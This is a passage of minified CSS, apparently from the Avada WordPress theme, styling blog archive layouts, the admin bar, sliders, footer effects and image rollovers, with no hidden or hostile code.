#e0dede;border-bottom:1px solid #e0dede}.fusion-author-tagline{display:table-cell;vertical-align:middle;max-width:70%;font-weight:700}.fusion-page-load-link{display:none}#menu-appearance a[href="themes.php?page=optionsframework"]{display:none}#wpadminbar{z-index:999999999999999}#wpadminbar>#wp-toolbar #wp-admin-bar-avada>.ab-item:before,#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit>.ab-item:before{content:"\e971";font-family:awb-icons;top:4px;font-size:16px}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .ab-item{height:auto}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .fb-edit-group{border-top:1px solid #3c434a}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-layout-group .wp-admin-bar-arrow{display:none}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-layout-group .menupop>.ab-item{padding:0 10px}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-layout-group .ab-sub-wrapper{margin-top:0;top:50%;transform:translateY(-50%)}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-edit-item{display:flex;justify-content:space-between;align-items:center;margin:.3em -.75em}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-edit-name,#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-edit-type{margin:0 .75em}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .awb-edit-type{line-height:1;background:#3c434a;padding:.5em;border-radius:4px;color:rgba(255,255,255,.8);font-size:.9em}#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .ab-item:active .awb-edit-type,#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .ab-item:focus .awb-edit-type,#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit .ab-item:hover .awb-edit-type{color:inherit}@media screen and (max-width:782px){#wpadminbar>#wp-toolbar #wp-admin-bar-avada>.ab-item:before,#wpadminbar>#wp-toolbar #wp-admin-bar-fb-edit>.ab-item:before{content:"\e971";font-family:awb-icons;top:0;padding:10px;font-size:25px}}.woocommerce-billing-fields .form-row .input-text{margin-right:0}.fusion-disable-outline input,.fusion-disable-outline select,.fusion-disable-outline textarea{outline:0}.fusion-disable-outline .woocommerce-billing-fields .form-row .input-text{outline:0}.select2-container .select2-selection{margin:0;box-shadow:none!important;outline:0!important}.select2-container .select2-selection .select2-selection__arrow{top:0;transform:inherit;right:0;width:40px;border-left:1px solid #d2d2d2}.select2-container--default .select2-dropdown .select2-search{border-bottom:1px solid #d2d2d2;padding:10px 15px;border-top:1px solid #d2d2d2;margin-top:-1px}.select2-container--default .select2-dropdown .select2-search input{padding:8px 10px;height:auto;background:#fff}.fusion-post-slideshow .image{margin-bottom:0}.fusion-post-slideshow .fusion-image-size-fixed{display:block}.fusion-flexslider.fusion-post-slideshow{overflow:visible}.fusion-meta-info{clear:both;overflow:hidden;margin-top:20px;padding:5px 0;border-top:1px solid #e7e6e6;border-bottom:1px solid #e7e6e6}.fusion-meta-info .fusion-alignleft{width:80%}.fusion-post-title-meta-wrap{margin-bottom:28px}.fusion-post-title-meta-wrap .entry-title{margin-bottom:10px}.fusion-post-title-meta-wrap .fusion-meta-info{margin-top:0}.fusion-single-line-meta{margin-bottom:20px}.fusion-content-sep{margin-top:20px;height:6px;border-top:1px solid #eaeaea;border-bottom:1px solid #eaeaea}.fusion-date-and-formats{float:left;margin-right:17px;width:82px;text-align:center}.fusion-date-and-formats .fusion-date-box{padding:8px 0 5px;color:#fff}.fusion-date-and-formats .fusion-date{display:block;line-height:29px;font-size:29px;font-weight:700}.fusion-date-and-formats .fusion-format-box{margin-top:3px;background-color:#eef0f2}.fusion-date-and-formats .fusion-format-box i{display:block;line-height:55px;font-size:30px}.fusion-timeline-line{position:absolute;left:50%;top:0;margin-left:-1px;height:100%;border-left:1px solid #efeeee;border-right:1px solid #ebeaea}.fusion-timeline-icon{margin:0 auto -6px;max-width:1000px;font-size:46px;height:47px;line-height:1;color:#ebeaea;text-align:center}.fusion-timeline-icon .fusionicon-bubbles{cursor:pointer}.fusion-timeline-circle{position:absolute;left:50%;margin:10px 0 0 -5px;height:10px;width:10px;border-radius:50%;background-color:#efeeee}.fusion-timeline-arrow{position:absolute;color:#e9eaee}.fusion-timeline-arrow:before{font-family:awb-icons;font-size:28px;position:absolute;top:0;line-height:30px}.fusion-blog-archive .entry-title{margin-top:0;margin-bottom:5px}.fusion-blog-layout-large .entry-title,.fusion-blog-layout-medium .entry-title{margin-top:0;margin-bottom:25px}.fusion-blog-layout-large .fusion-post-slideshow,.fusion-blog-layout-large-alternate .fusion-post-slideshow,.single-avada_faq .fusion-post-slideshow,.single-post .fusion-post-slideshow,.single-wpfc_sermon .fusion-post-slideshow{margin-bottom:30px}.fusion-blog-layout-large-alternate .entry-title,.fusion-blog-layout-medium-alternate .entry-title{margin-top:0;margin-bottom:5px}.fusion-blog-layout-large-alternate .fusion-post-content-container,.fusion-blog-layout-medium-alternate .fusion-post-content-container{margin-top:20px}.fusion-blog-layout-large-alternate .fusion-meta-info,.fusion-blog-layout-medium-alternate .fusion-meta-info{margin-top:0;border-top:0}.fusion-blog-layout-medium .fusion-post-medium,.fusion-blog-layout-medium .fusion-post-medium-alternate,.fusion-blog-layout-medium-alternate .fusion-post-medium,.fusion-blog-layout-medium-alternate .fusion-post-medium-alternate{display:flex;flex-wrap:wrap;align-items:start}.fusion-blog-layout-medium .fusion-post-slideshow,.fusion-blog-layout-medium-alternate .fusion-post-slideshow{margin-right:25px;width:320px}.fusion-blog-layout-medium .fusion-post-content,.fusion-blog-layout-medium-alternate .fusion-post-content{flex:1 1 1px}.fusion-blog-layout-medium .fusion-meta-info,.fusion-blog-layout-medium-alternate .fusion-meta-info{width:100%}.fusion-blog-layout-grid .fusion-post-slideshow,.fusion-blog-layout-timeline .fusion-post-slideshow{margin-bottom:0;border-bottom:1px solid #eaeaea}.fusion-blog-layout-grid .fusion-post-content-wrapper,.fusion-blog-layout-timeline .fusion-post-content-wrapper{padding:30px 25px 20px}.fusion-blog-layout-grid .fusion-single-line-meta,.fusion-blog-layout-timeline .fusion-single-line-meta{margin-bottom:0}.fusion-blog-layout-grid .fusion-post-content-container,.fusion-blog-layout-timeline .fusion-post-content-container{margin-top:20px}.fusion-blog-layout-grid .fusion-post-content-container p:last-child,.fusion-blog-layout-timeline .fusion-post-content-container p:last-child{margin-bottom:0}.fusion-blog-layout-grid .fusion-meta-info,.fusion-blog-layout-timeline .fusion-meta-info{border:0}.fusion-blog-layout-grid .fusion-meta-info .fusion-alignleft,.fusion-blog-layout-timeline .fusion-meta-info .fusion-alignleft{width:50%}.fusion-blog-layout-grid .fusion-password,.fusion-blog-layout-timeline .fusion-password{width:auto;max-width:100%}.fusion-blog-layout-large-alternate .fusion-post-large-alternate{display:flex;flex-wrap:wrap}.fusion-blog-layout-large-alternate .fusion-post-content{flex:1}.fusion-blog-layout-large-alternate .fusion-meta-info,.fusion-blog-layout-large-alternate .fusion-post-slideshow{width:100%}.fusion-blog-layout-medium-alternate .fusion-post-slideshow{display:none}.fusion-blog-layout-medium-alternate .has-post-thumbnail .fusion-post-slideshow{display:block;margin-right:17px}.fusion-blog-layout-grid .fusion-post-grid{margin-bottom:0}.fusion-blog-layout-grid.fusion-no-meta-info .fusion-post-content-container{margin-top:0}.fusion-blog-layout-grid .fusion-post-wrapper:not(.fusion-masonary-is-transparent){border:1px solid #eaeaea;border-bottom-width:3px}.fusion-blog-layout-grid.fusion-blog-layout-grid-2 .post{width:50%;display:inline-block;float:left}.fusion-blog-layout-grid.fusion-blog-layout-grid-2.fusion-blog-layout-masonry-has-vertical .post.fusion-element-landscape{width:100%}.fusion-blog-layout-grid.fusion-blog-layout-grid-3 .post{width:33.3333%;display:inline-block;float:left}.fusion-blog-layout-grid.fusion-blog-layout-grid-3.fusion-blog-layout-masonry-has-vertical .post.fusion-element-landscape{width:66.6666%}.fusion-blog-layout-grid.fusion-blog-layout-grid-4 .post{width:25%;display:inline-block;float:left}.fusion-blog-layout-grid.fusion-blog-layout-grid-4.fusion-blog-layout-masonry-has-vertical .post.fusion-element-landscape{width:50%}.fusion-blog-layout-grid.fusion-blog-layout-grid-5 .post{width:20%;display:inline-block;float:left}.fusion-blog-layout-grid.fusion-blog-layout-grid-5.fusion-blog-layout-masonry-has-vertical .post.fusion-element-landscape{width:40%}.fusion-blog-layout-grid.fusion-blog-layout-grid-6 .post{width:16.6666%;display:inline-block;float:left}.fusion-blog-layout-grid.fusion-blog-layout-grid-6.fusion-blog-layout-masonry-has-vertical .post.fusion-element-landscape{width:33.3333%}.fusion-blog-layout-grid .fusion-post-content,.fusion-blog-layout-grid .post-content{word-wrap:break-word}.fusion-blog-layout-grid.fusion-blog-equal-heights .fusion-post-grid{display:inline-flex}.fusion-blog-layout-grid.fusion-blog-equal-heights .fusion-post-wrapper{overflow:hidden;width:100%;display:flex;flex-direction:column}.fusion-blog-layout-grid.fusion-blog-equal-heights .fusion-post-wrapper .fusion-post-content-wrapper{display:flex;flex-grow:1;flex-direction:column}.fusion-blog-layout-grid.fusion-blog-equal-heights .fusion-post-wrapper .fusion-post-content.post-content{margin-bottom:20px}.fusion-blog-layout-grid.fusion-blog-equal-heights .fusion-post-wrapper .fusion-meta-info{margin-top:auto}.fusion-blog-layout-timeline{position:relative;margin:0 auto;padding-top:30px;max-width:1000px}.fusion-blog-layout-timeline .fusion-post-timeline{position:static;margin-bottom:40px;border:1px solid #eaeaea;border-bottom-width:3px}.fusion-no-meta-info .fusion-blog-layout-timeline .fusion-post-content-container{margin-top:0}.fusion-blog-layout-timeline .fusion-left-column{float:left;clear:left;width:40%}.fusion-blog-layout-timeline .fusion-right-column{float:right;clear:right;width:40%}.fusion-blog-layout-timeline .fusion-timeline-date{position:relative;clear:both;margin:0 auto 2px;padding:.35em .45em;width:auto;max-width:8em;line-height:1.35em;background:#efeeee;text-align:center;cursor:pointer}.fusion-blog-layout-timeline .fusion-left-column .fusion-timeline-arrow{left:40%;margin-left:-.5px}.fusion-blog-layout-timeline .fusion-left-column .fusion-timeline-arrow:before{content:"\f0da";left:100%}.fusion-blog-layout-timeline .fusion-right-column .fusion-timeline-arrow{right:40%;margin-right:-.5px}.fusion-blog-layout-timeline .fusion-right-column .fusion-timeline-arrow:before{content:"\f0d9";right:100%}.fusion-blog-layout-masonry .fusion-post-wrapper{overflow:hidden;position:relative}.fusion-blog-layout-masonry .fusion-post-content-wrapper{z-index:1;position:absolute;bottom:0;left:0;right:0}.fusion-blog-layout-masonry.fusion-blog-rollover .fusion-post-wrapper:hover .fusion-post-content-wrapper{transition:all .3s ease;transform:translateY(105%)}.fusion-blog-layout-masonry.fusion-blog-rollover .fusion-post-content-wrapper{transition:all .3s ease}.fusion-blog-infinite .pagination{display:none}.fusion-blog-infinite .fusion-load-more-button{margin-bottom:40px}.fusion-blog-layout-center .fusion-post-content{text-align:center}.fusion-blog-layout-left .fusion-post-content{text-align:left}.fusion-blog-layout-right .fusion-post-content{text-align:right}.single h1.entry-title{margin-top:0}.fusion-footer-parallax{position:relative;bottom:0;left:0;right:0;margin:0;padding:0}.fusion-footer-parallax.awb-footer-fixed{position:fixed;z-index:-1}.avada-footer-fx-no-height-parallax-effect #fusion-gmap-container,.avada-footer-fx-no-height-parallax-effect #main,.avada-footer-fx-no-height-parallax-effect #sliders-container,.avada-footer-fx-no-height-parallax-effect .fusion-page-title-bar,.avada-footer-fx-parallax-effect #fusion-gmap-container,.avada-footer-fx-parallax-effect #main,.avada-footer-fx-parallax-effect #sliders-container,.avada-footer-fx-parallax-effect .fusion-page-title-bar{position:relative;z-index:1}.avada-footer-fx-bg-parallax .fusion-footer-widget-area,.avada-footer-fx-no-height-bg-parallax .fusion-footer-widget-area,.avada-footer-fx-no-height-sticky-with-parallax-bg-image .fusion-footer-widget-area,.avada-footer-fx-sticky-with-parallax-bg-image .fusion-footer-widget-area{background-attachment:fixed;background-position:top center}.avada-footer-fx-sticky #boxed-wrapper,.avada-footer-fx-sticky #wrapper,.avada-footer-fx-sticky-with-parallax-bg-image #boxed-wrapper,.avada-footer-fx-sticky-with-parallax-bg-image #wrapper,.avada-footer-fx-sticky-with-parallax-bg-image.layout-boxed-mode:not(.fusion-top-header) #boxed-wrapper,.avada-footer-fx-sticky.layout-boxed-mode:not(.fusion-top-header) #boxed-wrapper{display:flex;flex-direction:column;min-height:100vh}.avada-footer-fx-sticky-with-parallax-bg-image.layout-boxed-mode:not(.fusion-top-header) #boxed-wrapper #wrapper,.avada-footer-fx-sticky.layout-boxed-mode:not(.fusion-top-header) #boxed-wrapper #wrapper{width:100%}.avada-footer-fx-sticky #main,.avada-footer-fx-sticky-with-parallax-bg-image #main{flex-grow:1}.wp-audio-shortcode{max-height:150px}.tkt-slctr-tbl-wrap-dv table{margin-bottom:10px}#fancybox-overlay{z-index:100049!important}#fancybox-wrap{z-index:100050!important}div#shShutter{z-index:100049}div#shDisplay{z-index:100050}#cboxOverlay{z-index:100049!important}#colorbox{z-index:100050!important}.fusion-main-menu .lang-item>a img,.fusion-mobile-nav-holder .lang-item>a img,.fusion-secondary-menu .lang-item>a img{vertical-align:middle;padding:0 2px}.qtranxs-lang-menu-item>a img,.qtranxs-lang-menu>a img{vertical-align:middle;padding:0 3px}#wpfc_sermon_sorting{overflow:hidden;margin:0 -10px}#wpfc_sermon_sorting>span{display:block;float:left;width:25%;padding:0 10px}#wpfc_sermon_sorting .avada-select-parent select{width:100%}.fusion-ubermenu-support .fusion-header-v1 .fusion-header .fusion-row,.fusion-ubermenu-support .fusion-header-v2 .fusion-header .fusion-row,.fusion-ubermenu-support .fusion-header-v3 .fusion-header .fusion-row,.fusion-ubermenu-support .fusion-header-v7 .fusion-header .fusion-row{position:relative}.fusion-ubermenu-support .fusion-secondary-main-menu .fusion-row{position:relative}.fusion-ubermenu{overflow:visible;position:static}.cp-module .cp-slidein{z-index:9999}.fusion-body .product-buttons .wc-gzd-additional-info{margin:.5em 0 .5em 0}.fusion-body .product-buttons .wc-gzd-additional-info a{display:inline;float:none;padding:inherit;font-size:inherit}.fusion-body .product-buttons .wc-gzd-additional-info+a{float:left}.fusion-body .product-buttons .wc-gzd-additional-info+a+a,.fusion-body .product-buttons .wc-gzd-additional-info+a+a+a,.fusion-body .product-buttons .wc-gzd-additional-info+a+a+a+a{float:right}.fusion-body .product-buttons .wc-gzd-additional-info:last-of-type{margin-bottom:1.5em}.fusion-body .fusion-carousel-meta .wc-gzd-additional-info{margin-bottom:.5em}.fusion-body .fusion-carousel-meta .wc-gzd-additional-info:first-of-type{margin-top:1.5em}.fusion-body .fusion-carousel-meta .wc-gzd-additional-info:last-of-type{margin-bottom:1.5em}.bg-parallax-parent.video{position:relative}.bg-parallax.video,.fusion-bg-parallax.video{position:absolute;pointer-events:none!important;overflow:hidden;top:0;left:0;right:0;bottom:0;z-index:-1}.bg-parallax.video iframe,.fusion-bg-parallax.video iframe{margin-bottom:0!important;display:block!important;max-width:none!important;max-height:none!important}.parallax-inner{min-height:150px}.fusion-bg-parallax[data-bg-size-adjust=dont-scale]+.bg-parallax-parent .parallax-inner{background-size:auto!important}.datepicker.dropdown-menu{border-radius:0;border:0;padding:15px}.datepicker.dropdown-menu:before{border-bottom:0}.datepicker.dropdown-menu thead tr:nth-child(2){font-size:16px}.datepicker.dropdown-menu td,.datepicker.dropdown-menu th{border-radius:0;border:0;padding:9px 10px}.datepicker.dropdown-menu td.active,.datepicker.dropdown-menu td.active:hover{border:0;text-shadow:none}.datepicker.dropdown-menu table tr td.new,.datepicker.dropdown-menu table tr td.old{background-color:#fff!important;color:#999!important}.datepicker.dropdown-menu tbody td{border:1px solid #fff}.datepicker.dropdown-menu .datepicker-months td{padding:15px 0 0}.datepicker.dropdown-menu .datepicker-months span{text-shadow:none}.datepicker.dropdown-menu .datepicker-months span:hover{text-shadow:none}.crossfade-images{white-space:nowrap;display:flex;align-items:center}.crossfade-images .helper{display:inline-block;height:100%;vertical-align:middle}.crossfade-images:hover img:not(.hover-image){opacity:0}.crossfade-images:hover .hover-image{opacity:1!important}.crossfade-images img{transition:opacity .5s ease-in-out;position:relative;z-index:50;min-width:100%;vertical-align:middle}.crossfade-images .hover-image{position:absolute;left:0;right:0;margin:0 auto;opacity:0}.avada-html-layout-boxed,.avada-html-layout-boxed body,.avada-html-layout-boxed body.custom-background,html:not(.avada-html-layout-boxed):not(.avada-html-layout-framed),html:not(.avada-html-layout-boxed):not(.avada-html-layout-framed) body{background-color:var(--bg_color);background-blend-mode:var(--bg-color-overlay)}.avada-html-has-bg-image .avada-has-bg-image-full.layout-boxed-mode.layout-scroll-offset-framed .fusion-bottom-frame,.avada-html-has-bg-image .avada-has-bg-image-full.layout-boxed-mode.layout-scroll-offset-framed .fusion-sides-frame,.avada-html-has-bg-image .avada-has-bg-image-full.layout-boxed-mode.layout-scroll-offset-framed .fusion-top-frame,.avada-html-has-bg-image .avada-has-bg-image-full:not(.layout-boxed-mode),.avada-html-has-bg-image .avada-has-bg-image-full:not(.layout-scroll-offset-framed){background-attachment:fixed;background-size:cover;background-position:center center}.layout-boxed-mode.layout-scroll-offset-framed .fusion-bottom-frame,.layout-boxed-mode.layout-scroll-offset-framed .fusion-sides-frame,.layout-boxed-mode.layout-scroll-offset-framed .fusion-top-frame{background-color:var(--bg_color);background-blend-mode:var(--bg-color-overlay);background-image:var(--bg_image)}body{background-image:var(--bg_image);background-repeat:var(--bg_repeat)}#main,.layout-boxed-mode #main,.layout-boxed-mode.avada-footer-fx-sticky .above-footer-wrapper,.layout-boxed-mode.avada-footer-fx-sticky-with-parallax-bg-image .above-footer-wrapper,.layout-wide-mode #main,.layout-wide-mode #wrapper,body,html,html body.custom-background{background-color:var(--content_bg_color)}.quicktags-toolbar input{background:linear-gradient(to top,var(--content_bg_color),var(--form_bg_color)) #3e3e3e}#main,.wrapper_blank #main{background-image:var(--content_bg_image);background-repeat:var(--content_bg_repeat)}#main.full-bg,.wrapper_blank #main.full-bg{background-attachment:fixed;background-position:center center;background-size:cover}.avada-content-bg-not-opaque #main,.avada-content-bg-not-opaque #wrapper,.avada-content-bg-not-opaque .bbp-arrow,.avada-content-bg-not-opaque .fusion-separator .icon-wrapper{background-blend-mode:overlay}html.avada-has-page-background-pattern{background-image:var(--bg_pattern);background-repeat:repeat}html.avada-has-page-background-pattern .layout-boxed-mode .fusion-bottom-frame,html.avada-has-page-background-pattern .layout-boxed-mode .fusion-sides-frame,html.avada-has-page-background-pattern .layout-boxed-mode .fusion-top-frame,html.avada-has-page-background-pattern body{background-image:var(--bg_pattern);background-repeat:repeat}html.avada-has-page-background-pattern .layout-boxed-mode.layout-scroll-offset-framed:not(.avada-has-zero-margin-offset-top){background-attachment:fixed}.fusion-load-more-button.fusion-blog-button{background-color:var(--blog_load_more_posts_button_bg_color);color:var(--blog_load_more_posts_button_text_color)}.fusion-load-more-button.fusion-blog-button:hover{background-color:var(--blog_load_more_posts_hover_button_bg_color);color:var(--blog_load_more_posts_hover_button_text_color)}body:not(.search-results) #posts-container .fusion-blog-layout-grid{margin-top:calc((var(--blog_archive_grid_column_spacing))/ -2);margin-right:calc((var(--blog_archive_grid_column_spacing))/ -2);margin-left:calc((var(--blog_archive_grid_column_spacing))/ -2);margin-bottom:0}body:not(.search-results) #posts-container .fusion-blog-layout-grid .fusion-post-grid{padding:calc((var(--blog_archive_grid_column_spacing))/ 2)}.avada-blog-archive-layout-grid .fusion-blog-archive .fusion-blog-layout-grid .post .fusion-post-content-wrapper,.avada-blog-archive-layout-masonry .fusion-blog-archive .fusion-blog-layout-masonry .post .fusion-post-content-wrapper,.avada-blog-archive-layout-timeline .fusion-blog-archive .fusion-blog-layout-timeline .post .fusion-post-content-wrapper,.avada-blog-layout-grid .fusion-blog-archive .fusion-blog-layout-grid .post .fusion-post-content-wrapper,.avada-blog-layout-masonry .fusion-blog-archive .fusion-blog-layout-masonry .post .fusion-post-content-wrapper,.avada-blog-layout-timeline .fusion-blog-archive .fusion-blog-layout-timeline .post .fusion-post-content-wrapper{padding:var(--blog_archive_grid_padding-top) var(--blog_archive_grid_padding-right) var(--blog_archive_grid_padding-bottom) var(--blog_archive_grid_padding-left)}#wrapper .fusion-events-shortcode .fusion-events-meta h4,.fusion-carousel-meta,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories,.fusion-image-wrapper .fusion-rollover .fusion-rollover-content .fusion-rollover-categories a,.fusion-meta,.fusion-meta-info,.fusion-recent-posts .columns .column .meta,.fusion-single-line-meta,.post .single-line-meta,.widget_recent_entries .post-date{font-size:var(--meta_font_size)}.content-box-percentage,.fusion-date-and-formats .fusion-format-box i,.price ins .amount,.price>.amount,.star-rating span:before,.star-rating:before{color:var(--primary_color)}#main .about-author .title a:hover,#main .post h2 a:hover,.fusion-open-submenu:hover,.fusion-pagination .next:hover,.fusion-pagination .next:hover:after,.fusion-pagination .prev:hover,.fusion-pagination .prev:hover:before,.fusion-read-more:hover:after,.more a:hover:after,.pagination .pagination-next:hover:after,.pagination .pagination-prev:hover:before,.pagination-next:hover:after,.pagination-prev:hover:before,.project-content .project-info .project-info-box a:hover,.rtl .fusion-read-more:hover:before,.rtl .more a:hover:before,.single-navigation a[rel=next]:hover:after,.single-navigation a[rel=prev]:hover:before,a:hover,h5.toggle:hover a{color:var(--link_hover_color)}#wrapper .post-content blockquote,.comment-text blockquote,.fusion-body blockquote,.fusion-pagination .current,.fusion-pagination .page-numbers.current,.pagination .current,.progress-bar-content{border-color:var(--primary_color)}#nav ul li>a:hover,#sticky-nav ul li>a:hover,#wrapper .tagcloud a:hover,.fusion-hide-pagination-text .pagination-next:hover,.fusion-hide-pagination-text .pagination-prev:hover,.fusion-pagination .page-numbers:hover,.pagination a.inactive:hover{border-color:var(--link_hover_color)}.circle-yes ul li:before,.fusion-date-and-formats .fusion-date-box,.fusion-pagination .current,.fusion-search-element .searchform.fusion-search-form-classic .fusion-search-form-content .fusion-search-button input[type=submit]:hover,.fusion-search-form-classic .searchform:not(.fusion-search-form-clean) .fusion-search-form-content .fusion-search-button input[type=submit]:hover,.pagination .current,.progress-bar-content,.table-2 table thead,ul.arrow li:before,ul.circle-yes li:before{background-color:var(--primary_color)}#toTop:hover,.tagcloud a:hover{background-color:var(--link_hover_color)}#toTop{background-color:var(--totop_background);border-radius:4px 4px 0 0;bottom:0;height:35px;position:fixed;text-align:center;width:48px;opacity:0;z-index:100000;transition:opacity .4s ease-in-out,background .2s ease-in-out;line-height:1;pointer-events:none}.to-top-container #toTop:hover{background-color:var(--totop_background_hover)}#toTop:before{line-height:35px;content:"\f106";-webkit-font-smoothing:antialiased;font-family:awb-icons;font-size:22px;color:var(--totop_icon_color)}#toTop:hover::before{color:var(--totop_icon_hover)}#toTop:active,#toTop:focus{outline:0;background-color:var(--totop_background)}#toTop.fusion-to-top-active{pointer-events:auto;opacity:.9;transition:opacity .4s ease-in-out,background .2s ease-in-out}.to-top-container #toTop{border-radius:var(--totop_border_radius) var(--totop_border_radius) 0 0}.to-top-floating #toTop{bottom:30px;height:44px;width:44px;border-radius:var(--totop_border_radius) var(--totop_border_radius) var(--totop_border_radius) var(--totop_border_radius)}.to-top-floating #toTop:before{line-height:42px}.to-top-right #toTop{right:75px}.to-top-left #toTop{left:75px}.fusion-slider-container{position:relative;margin-left:auto;margin-right:auto;width:100%}.tfs-slider{transform:translate(0,0);left:0}.tfs-slider.fixed-width-slider.flexslider .slide-content-container{padding-left:10%;padding-right:10%}.tfs-slider li.flex-active-slide{position:relative}.tfs-slider .slides li{-webkit-backface-visibility:visible}.tfs-slider .slide-content-container{position:absolute;top:50%;width:100%;padding:0;z-index:5;transform:translateY(-50%)}.tfs-slider .slide-content-container .slide-content{opacity:0;margin-left:auto;margin-right:auto;width:auto;max-width:940px}.tfs-slider .slide-content-container .slide-content .fusion-li-item,.tfs-slider .slide-content-container .slide-content li{display:list-item;text-align:initial}.tfs-slider .slide-content-container .caption,.tfs-slider .slide-content-container .heading{display:block}.tfs-slider .slide-content-container h2,.tfs-slider .slide-content-container h3{margin:0;font-weight:400;-webkit-font-smoothing:antialiased;display:inline-block;padding:0}.tfs-slider .slide-content-container .with-bg .fusion-title-sc-wrapper{padding:3px 15px}.tfs-slider .slide-content-container .fusion-title-sc-wrapper{display:inline-block;padding:0;line-height:1}.tfs-slider .slide-content-container .fusion-title{overflow:visible}.fusion-body .tfs-slider .slide-content-container .fusion-title{--awb-text-color:#fff}.tfs-slider .slide-content-container .fusion-block-element{display:block}.tfs-slider .slide-content-container .heading{margin:0 0 14px}.tfs-slider .slide-content-container h2{font-size:60px;line-height:80px;margin-bottom:10px}.tfs-slider .slide-content-container h3{font-size:24px;line-height:38px}.tfs-slider .slide-content-container .fusion-sep-none{display:inline-block}.tfs-slider .slide-content-container .fusion-sep-none h2,.tfs-slider .slide-content-container .fusion-sep-none h3{display:inline-block}.tfs-slider .slide-content-container .fusion-title-size-two{margin:0}.tfs-slider .slide-content-container .fusion-title-size-two h2{margin:0}.tfs-slider .slide-content-container .fusion-title-size-three{margin:0}.tfs-slider .slide-content-container .fusion-title-size-three h3{margin:0}.tfs-slider .slide-content-container .fusion-title .title-sep,.tfs-slider .slide-content-container .fusion-title.sep-underline{border-color:#fff}.tfs-slider .slide-content-container.slide-content-left .buttons,.tfs-slider .slide-content-container.slide-content-right .buttons{margin-left:-7.5px;margin-right:-7.5px}.tfs-slider .slide-content-container.slide-content-left{text-align:left}.tfs-slider .slide-content-container.slide-content-right{text-align:right}.tfs-slider .slide-content-container .buttons{overflow:visible}.tfs-slider .slide-content-container .buttons a{-webkit-backface-visibility:hidden}.tfs-slider .slide-content-container .tfs-button-1,.tfs-slider .slide-content-container .tfs-button-2{margin-top:3.25%;padding:0 7.5px;display:inline-block}.tfs-slider .tfs-scroll-down-indicator{display:inline-block;z-index:10000;position:absolute;bottom:25px;left:50%;transform:translateX(-50%);font-size:40px;line-height:1;cursor:pointer;font-family:awb-icons;color:#fff}.tfs-slider .tfs-scroll-down-indicator:after{content:"\e61f";color:inherit}.tfs-slider .slide-content-center{text-align:center}.tfs-slider .slide-content-right{text-align:right}.ua-mobile .tfs-slider .self-hosted-video-bg{display:none}.tfs-slider .background{display:block;overflow:hidden;position:relative;z-index:2;max-width:100%}.tfs-slider .background-image{background-position:50% 50%;background-repeat:no-repeat;background-size:cover}.tfs-slider video{width:100%;height:auto;visibility:visible;position:static;top:0;z-index:1;backface-visibility:hidden}.tfs-slider .overlay{position:absolute;top:0;left:0;height:100%;width:100%;z-index:3}.tfs-slider .mobile_video_image{display:none}.ua-mobile .tfs-slider .mobile_video_image{width:100%;height:100%;display:block;z-index:4;background-size:cover;background-position:center center}.tfs-slider .overlay-link{position:absolute;top:0;left:0;width:100%;height:100%;display:block;z-index:5}.tfs-slider .flex-direction-nav a{top:50%;transform:translateY(-50%)}.tfs-slider .background iframe{position:relative;z-index:1!important;margin:0!important}.rtl .tfs-slider[data-animation=slide] .flex-viewport{direction:ltr}.rtl .tfs-slider[data-animation=slide] .flex-viewport .slides li{direction:rtl}.fusion-body .avada-google-map{margin-top:var(--gmap_topmargin)}.avada-image-rollover-no .fusion-rollover{display:none}.avada-image-rollover-no .fusion-masonry-element-container.fusion-image-wrapper>a{position:absolute;top:0;bottom:0;left:0;right:0}.fusion-image-wrapper .fusion-rollover{background-image:linear-gradient(to top,var(--image_gradient_bottom_color) 0,var(--image_gradient_top_color) 100%)}.avada-image-rollover-direction-fade .fusion-image-wrapper .fusion-rollover{transform:translateY(0);transition:opacity .5s ease-in-out}.avada-image-rollover-direction-right .fusion-image-wrapper .fusion-rollover{transform:translateX(100%)}.avada-image-rollover-direction-bottom .fusion-image-wrapper .fusion-rollover{transform:translateY(100%)}.avada-image-rollover-direction-top .fusion-image-wrapper .fusion-rollover{transform:translateY(-100%)}.avada-image-rollover-direction-center_horiz .fusion-image-wrapper .fusion-rollover{transform:scaleX(0)}.avada-image-rollover-direction-center_vertical .fusion-image-wrapper .fusion-rollover{transform:scaleY(0)}.fusion-image-wrapper .fusion-rollover .fusion-rollover-gallery,.fusion-image-wrapper .fusion-rollover .fusion-rollover-link{width:calc((var(--image_rollover_icon_size)) * 1.5);height:calc((var(--image_rollover_icon_size)) * 1.5);background-color:transparent}.avada-image-rollover-circle-yes .fusion-image-wrapper .fusion-rollover .fusion-rollover-gallery,.avada-image-rollover-circle-yes .fusion-image-wrapper .fusion-rollover .fusion-rollover-link{width:calc((var(--image_rollover_icon_size)) * 2.41);height:calc((var(--image_rollover_icon_size)) * 2.41);background-color:var(--image_rollover_text_color);line-height:2.41}.fusion-image-wrapper .fusion-rollover .fusion-rollover-gallery:before,.fusion-image-wrapper .fusion-rollover .fusion-rollover-link:before{font-size:var(--image_rollover_icon_size);color:var(--image_rollover_icon_color)}.fusion-image-wrapper.hover .fusion-rollover{opacity:1}.avada-image-rollover-direction-fade .fusion-image-wrapper.hover .fusion-rollover,.avada-image-rollover-direction-fade .fusion-image-wrapper:hover .fusion-rollover,.avada-image-rollover-direction-right .fusion-image-wrapper.hover .fusion-rollover,.avada-image-rollover-direction-right .fusion-image-wrapper:hover .fusion-rollover{transform:translateX(0)}.avada-image-rollover-direction-bottom .fusion-image-wrapper.hover .fusion-rollover,.avada-image-rollover-direction-bottom .fusion-image-wrapper:hover .fusion-rollover,.avada-image-rollover-direction-top .fusion-image-wrapper.hover .fusion-rollover,.avada-image-rollover-direction-top .fusion-image-wrapper:hover .fusion-rollover{transform:translateY(0)}.avada-image-rollover-direction-center_horiz .fusion-image-wrapper.hover .fusion-rollover,.avada-image-rollover-direction-center_horiz .fusion-image-wrapper:hover 